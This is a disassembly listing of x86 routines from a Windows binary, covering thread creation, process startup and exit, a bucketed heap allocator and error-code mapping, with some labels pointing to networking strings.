; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079D0	proc near		; CODE XREF: sub_403C3F+366p
					; sub_40400E+14p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_408260
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_407A3F
		push	ebx
		call	sub_409120
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407930
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411D9C
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_407A21
		call	dword_411CE8
		mov	esi, eax
		jmp	short loc_407A3F
; ---------------------------------------------------------------------------


loc_407A21:				; CODE XREF: sub_4079D0+45j
		mov	eax, edi
		push	eax
		call	dword_411DA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407A3B
		call	dword_411CE8
		mov	esi, eax
		jmp	short loc_407A3F
; ---------------------------------------------------------------------------


loc_407A3B:				; CODE XREF: sub_4079D0+5Fj
		mov	eax, edi
		jmp	short loc_407A54
; ---------------------------------------------------------------------------


loc_407A3F:				; CODE XREF: sub_4079D0+14j
					; sub_4079D0+4Fj ...
		push	ebx
		call	sub_4071B0
		pop	ecx
		test	esi, esi
		jz	short loc_407A51
		push	esi
		call	sub_408300
		pop	ecx


loc_407A51:				; CODE XREF: sub_4079D0+78j
		or	eax, 0FFFFFFFFh


loc_407A54:				; CODE XREF: sub_4079D0+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4079D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A60	proc near		; CODE XREF: sub_40399A+1D7p
					; sub_403C3F+39Fp ...
		push	ebx
		call	sub_409150
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_407A74
		push	1
		call	sub_409250
		pop	ecx


loc_407A74:				; CODE XREF: sub_407A60+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_407A87
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CF8


loc_407A87:				; CODE XREF: sub_407A60+1Bj
		push	ebx
		call	sub_4091C0
		pop	ecx
		push	0
		call	dword_411DA4
		pop	ebx
		retn
sub_407A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AA0	proc near		; CODE XREF: sub_40592F+DAp
					; sub_40592F+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407B26 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8E0
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_407AEC
; ---------------------------------------------------------------------------


loc_407AD7:				; CODE XREF: sub_407AA0+53j
		mov	eax, dword_4111A0
		lea	edx, [eax+1]
		mov	dword_4111A0, edx
		call	dword_411060[eax*4]


loc_407AEC:				; CODE XREF: sub_407AA0+35j
		cmp	dword_4111A0, 50h
		jb	short loc_407AD7
		jmp	short loc_407B09
; ---------------------------------------------------------------------------


loc_407AF7:				; CODE XREF: sub_407AA0+70j
		mov	eax, dword_4111A4
		dec	eax
		mov	dword_4111A4, eax
		call	dword_411060[eax*4]


loc_407B09:				; CODE XREF: sub_407AA0+55j
		cmp	dword_4111A4, 0
		jnz	short loc_407AF7
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_407B1D
		jmp	short loc_407B26
sub_407AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B1D	proc near		; CODE XREF: sub_407AA0+76p
					; DATA XREF: DMN0:0040F8E8o
		push	2
		call	sub_408880
		pop	ecx
		retn
sub_407B1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA0


loc_407B26:				; CODE XREF: sub_407AA0+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_409250
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407AA0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407B50	proc near		; CODE XREF: sub_406544+1AAp
					; sub_406544+1D9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4092D0
		pop	ecx
		retn
sub_407B50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B60	proc near		; DATA XREF: DMN1:00469EA2o starto

var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8EC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2000000h
		call	sub_40AEF0
		pop	ecx
		mov	dword_4117DC, eax
		call	sub_408670
		test	eax, eax
		jnz	short loc_407BA7
		push	1
		call	sub_409250
		pop	ecx


loc_407BA7:				; CODE XREF: sub_407B60+3Dj
		call	sub_409090
		test	eax, eax
		jnz	short loc_407BB8
		push	1
		call	sub_409250
		pop	ecx


loc_407BB8:				; CODE XREF: sub_407B60+4Ej
		mov	[ebp+var_4], 0
		call	sub_409300
		call	sub_409360
		call	sub_4097D0
		call	sub_409870
		mov	esi, offset dword_4101EC
		jmp	short loc_407BDF
; ---------------------------------------------------------------------------


loc_407BDA:				; CODE XREF: sub_407B60+85j
		call	dword ptr [esi]
		add	esi, 4


loc_407BDF:				; CODE XREF: sub_407B60+78j
		cmp	esi, offset dword_4101EC
		jb	short loc_407BDA
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_411DA8
		push	0
		call	dword_411D6C
		mov	[ebp+var_60], eax
		call	sub_409930
		test	byte ptr [ebp+var_30], 1
		jz	short loc_407C14
		movzx	esi, [ebp+var_2C]
		jmp	short loc_407C19
; ---------------------------------------------------------------------------


loc_407C14:				; CODE XREF: sub_407B60+ACj
		mov	esi, 0Ah


loc_407C19:				; CODE XREF: sub_407B60+B2j
		push	esi
		push	eax
		push	0
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_406D48
		mov	ebx, eax
		mov	edi, offset dword_4101EC
		jmp	short loc_407C34
; ---------------------------------------------------------------------------


loc_407C2F:				; CODE XREF: sub_407B60+DAj
		call	dword ptr [edi]
		add	edi, 4


loc_407C34:				; CODE XREF: sub_407B60+CDj
		cmp	edi, offset dword_4101EC
		jb	short loc_407C2F
		push	ebx
		call	sub_407AA0
		pop	ecx
		jmp	short loc_407C6D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409260
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409250
		pop	ecx


loc_407C6D:				; CODE XREF: sub_407B60+E3j
		or	[ebp+var_4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_407B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C90	proc near		; CODE XREF: sub_407F20+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_409970
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_407CCF
		mov	dword_4117E0, 0
		xor	eax, eax
		jmp	loc_407F0D
; ---------------------------------------------------------------------------


loc_407CCF:				; CODE XREF: sub_407C90+2Cj
		mov	eax, dword_4127EC
		mov	edx, dword_4127E8
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_407CF5
		mov	ebx, dword_4127E8
		mov	eax, dword_4127EC
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_407D02
; ---------------------------------------------------------------------------


loc_407CF5:				; CODE XREF: sub_407C90+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_407D02:				; CODE XREF: sub_407C90+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127E8, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127EC, eax
		mov	eax, dword_4111CC
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_407D34
		cmp	dword_4111D4, 0
		jnz	loc_407EA6


loc_407D34:				; CODE XREF: sub_407C90+95j
		mov	eax, dword_4111D4
		mov	[ebp+var_C], eax
		mov	dword_4111D4, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111CC, ebx
		mov	eax, dword_4111D0
		test	eax, eax
		jz	short loc_407D5E
		cmp	eax, ebx
		jbe	short loc_407D64


loc_407D5E:				; CODE XREF: sub_407C90+C8j
		mov	dword_4111D0, ebx


loc_407D64:				; CODE XREF: sub_407C90+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4-4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111CC
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E4
		ja	short loc_407DD2
		cmp	esi, dword_4111DC
		ja	short loc_407DBA
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_407DCD
; ---------------------------------------------------------------------------


loc_407DBA:				; CODE XREF: sub_407C90+116j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_407DCD:				; CODE XREF: sub_407C90+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_407E02
; ---------------------------------------------------------------------------


loc_407DD2:				; CODE XREF: sub_407C90+10Ej
		cmp	esi, dword_4111EC
		ja	short loc_407DEF
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407E02
; ---------------------------------------------------------------------------


loc_407DEF:				; CODE XREF: sub_407C90+148j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407E02:				; CODE XREF: sub_407C90+140j
					; sub_407C90+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_4111FC, eax
		mov	eax, dword_4111FC
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_407E48
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		mov	eax, dword_4111FC
		cmp	dword_4111F8, eax
		jle	short loc_407E51
		mov	eax, dword_4111FC
		mov	dword_4111F8, eax
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E48:				; CODE XREF: sub_407C90+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_407E51:				; CODE XREF: sub_407C90+1AAj
					; sub_407C90+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		jmp	short loc_407E8B
; ---------------------------------------------------------------------------


loc_407E85:				; CODE XREF: sub_407C90+20Dj
		inc	dword_4111F8


loc_407E8B:				; CODE XREF: sub_407C90+1F3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_407E9F
		cmp	eax, 7
		jl	short loc_407E85


loc_407E9F:				; CODE XREF: sub_407C90+208j
		mov	eax, 1
		jmp	short loc_407F0D
; ---------------------------------------------------------------------------


loc_407EA6:				; CODE XREF: sub_407C90+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111CC
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111CC
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	eax, 1


loc_407F0D:				; CODE XREF: sub_407C90+3Aj
					; sub_407C90+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F20	proc near		; CODE XREF: sub_408260+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_407F41
		mov	esi, 4


loc_407F41:				; CODE XREF: sub_407F20+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E4
		ja	short loc_407F7D
		cmp	esi, dword_4111DC
		ja	short loc_407F65
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_407F78
; ---------------------------------------------------------------------------


loc_407F65:				; CODE XREF: sub_407F20+31j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_407F78:				; CODE XREF: sub_407F20+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_407FAD
; ---------------------------------------------------------------------------


loc_407F7D:				; CODE XREF: sub_407F20+29j
		cmp	esi, dword_4111EC
		ja	short loc_407F9A
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_407FAD
; ---------------------------------------------------------------------------


loc_407F9A:				; CODE XREF: sub_407F20+63j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_407FAD:				; CODE XREF: sub_407F20+5Bj
					; sub_407F20+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111F8
		cmp	[ebp+var_C], eax
		jge	short loc_407FFD
		mov	eax, dword_4111F8
		mov	[ebp+var_C], eax
		jmp	short loc_407FFD
; ---------------------------------------------------------------------------


loc_407FC7:				; CODE XREF: sub_407F20+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111A8[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_407FFD
		mov	eax, dword_4111CC
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_407FEC
		mov	ebx, [ebx-4]


loc_407FEC:				; CODE XREF: sub_407F20+C7j
		mov	[ebp+var_4], ebx


loc_407FEF:				; CODE XREF: sub_407F20+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_407FFD
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_407FEF


loc_407FFD:				; CODE XREF: sub_407F20+9Bj
					; sub_407F20+A5j ...
		cmp	edi, esi
		jnb	short loc_408007
		cmp	[ebp+var_C], 8
		jl	short loc_407FC7


loc_408007:				; CODE XREF: sub_407F20+DFj
		cmp	edi, esi
		jnb	short loc_40802D
		push	esi
		call	sub_407C90
		pop	ecx
		test	eax, eax
		jz	loc_408257
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111A8[eax*4]
		mov	edi, [ebx]
		jmp	short loc_408036
; ---------------------------------------------------------------------------


loc_40802D:				; CODE XREF: sub_407F20+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_408036
		dec	[ebp+var_C]


loc_408036:				; CODE XREF: sub_407F20+10Bj
					; sub_407F20+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_4081BF
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		ja	short loc_408086
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		ja	short loc_40806D
		mov	eax, dword_4111D8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_408081
; ---------------------------------------------------------------------------


loc_40806D:				; CODE XREF: sub_407F20+138j
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_408081:				; CODE XREF: sub_407F20+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_4080BA
; ---------------------------------------------------------------------------


loc_408086:				; CODE XREF: sub_407F20+12Ej
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		ja	short loc_4080A6
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_4080BA
; ---------------------------------------------------------------------------


loc_4080A6:				; CODE XREF: sub_407F20+16Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_4080BA:				; CODE XREF: sub_407F20+164j
					; sub_407F20+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_4081AC
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_40810E
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_40813F
		jmp	short loc_4080F8
; ---------------------------------------------------------------------------


loc_4080F2:				; CODE XREF: sub_407F20+1EAj
		inc	dword_4111F8


loc_4080F8:				; CODE XREF: sub_407F20+1D0j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_40810C
		cmp	eax, 7
		jl	short loc_4080F2


loc_40810C:				; CODE XREF: sub_407F20+1E5j
		jmp	short loc_40813F
; ---------------------------------------------------------------------------


loc_40810E:				; CODE XREF: sub_407F20+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_40813F
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111A8[eax*4], edx


loc_40813F:				; CODE XREF: sub_407F20+1CEj
					; sub_407F20:loc_40810Cj ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_408175
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111F8, eax
		jle	short loc_40817E
		mov	eax, [ebp+var_18]
		mov	dword_4111F8, eax
		jmp	short loc_40817E
; ---------------------------------------------------------------------------


loc_408175:				; CODE XREF: sub_407F20+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_40817E:				; CODE XREF: sub_407F20+249j
					; sub_407F20+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_408234
; ---------------------------------------------------------------------------


loc_4081AC:				; CODE XREF: sub_407F20+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_408234
; ---------------------------------------------------------------------------


loc_4081BF:				; CODE XREF: sub_407F20+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_408201
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_408232
		jmp	short loc_4081EB
; ---------------------------------------------------------------------------


loc_4081E5:				; CODE XREF: sub_407F20+2DDj
		inc	dword_4111F8


loc_4081EB:				; CODE XREF: sub_407F20+2C3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_4081FF
		cmp	eax, 7
		jl	short loc_4081E5


loc_4081FF:				; CODE XREF: sub_407F20+2D8j
		jmp	short loc_408232
; ---------------------------------------------------------------------------


loc_408201:				; CODE XREF: sub_407F20+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_408232
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111A8[eax*4], edx


loc_408232:				; CODE XREF: sub_407F20+2C1j
					; sub_407F20:loc_4081FFj ...
		mov	esi, edi


loc_408234:				; CODE XREF: sub_407F20+287j
					; sub_407F20+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_408257:				; CODE XREF: sub_407F20+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408260	proc near		; CODE XREF: sub_406E00+Dp
					; sub_4079D0+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004082C7 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8FC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E0
		cmp	[ebp+arg_0], eax
		jnb	short loc_4082C7
		push	0
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407F20
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4082BE
		jmp	short loc_4082C7
sub_408260	endp


; =============== S U B	R O U T	I N E =======================================



sub_4082BE	proc near		; CODE XREF: sub_408260+57p
					; DATA XREF: DMN0:0040F904o
		push	0
		call	sub_408880
		pop	ecx
		retn
sub_4082BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408260


loc_4082C7:				; CODE XREF: sub_408260+35j
					; sub_408260+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4082DA
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4086B0
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4082DA:				; CODE XREF: sub_408260+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4082EB
		call	sub_408460
		mov	dword ptr [eax], 0Ch


loc_4082EB:				; CODE XREF: sub_408260+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_408260
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408300	proc near		; CODE XREF: sub_4079D0+7Bp
					; sub_408E40+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_4083D2
		jg	short loc_40835D
		cmp	ebx, 50h
		jl	short loc_408324
		cmp	ebx, 59h
		jg	short loc_408335
		jmp	dword ptr aProtorecvDataS+4[ebx*4]
; ---------------------------------------------------------------------------


loc_408324:				; CODE XREF: sub_408300+16j
		cmp	ebx, 1
		jl	short loc_4083A2
		cmp	ebx, 43h
		jg	short loc_4083A2
		jmp	off_40F92C[ebx*4]
; ---------------------------------------------------------------------------


loc_408335:				; CODE XREF: sub_408300+1Bj
		cmp	ebx, 6Ch
		jl	short loc_4083A2
		cmp	ebx, 72h
		jg	short loc_408346
		jmp	dword ptr a02i02i02iIIIS+7[ebx*4]
; ---------------------------------------------------------------------------


loc_408346:				; CODE XREF: sub_408300+3Dj
		cmp	ebx, 80h
		jl	short loc_4083A2
		cmp	ebx, 84h
		jg	short loc_4083A2
		jmp	dword ptr aWinsock2_xInit+0Fh[ebx*4]
; ---------------------------------------------------------------------------


loc_40835D:				; CODE XREF: sub_408300+11j
		cmp	ebx, 0A4h
		jz	short loc_4083DF
		cmp	ebx, 0A7h
		jz	short loc_4083D2
		jg	short loc_408381
		cmp	ebx, 9Eh
		jz	short loc_4083D2
		cmp	ebx, 0A1h
		jz	short loc_4083B2
		jmp	short loc_4083A2
; ---------------------------------------------------------------------------


loc_408381:				; CODE XREF: sub_408300+6Dj
		cmp	ebx, 0B7h
		jl	short loc_4083A2
		cmp	ebx, 0D7h
		jg	short loc_408398
		jmp	dword ptr aHandshakeBadPa+1[ebx*4]
; ---------------------------------------------------------------------------


loc_408398:				; CODE XREF: sub_408300+8Fj
		cmp	ebx, 718h
		jz	short loc_4083C2
		jmp	short $+2


loc_4083A2:				; CODE XREF: sub_408300+27j
					; sub_408300+2Cj ...
		call	sub_408460
		mov	dword ptr [eax], 16h
		jmp	loc_408452
; ---------------------------------------------------------------------------


loc_4083B2:				; CODE XREF: sub_408300+2Ej
					; sub_408300+7Dj ...
		call	sub_408460
		mov	dword ptr [eax], 2
		jmp	loc_408452
; ---------------------------------------------------------------------------


loc_4083C2:				; CODE XREF: sub_408300+2Ej
					; sub_408300+9Ej ...
		call	sub_408460
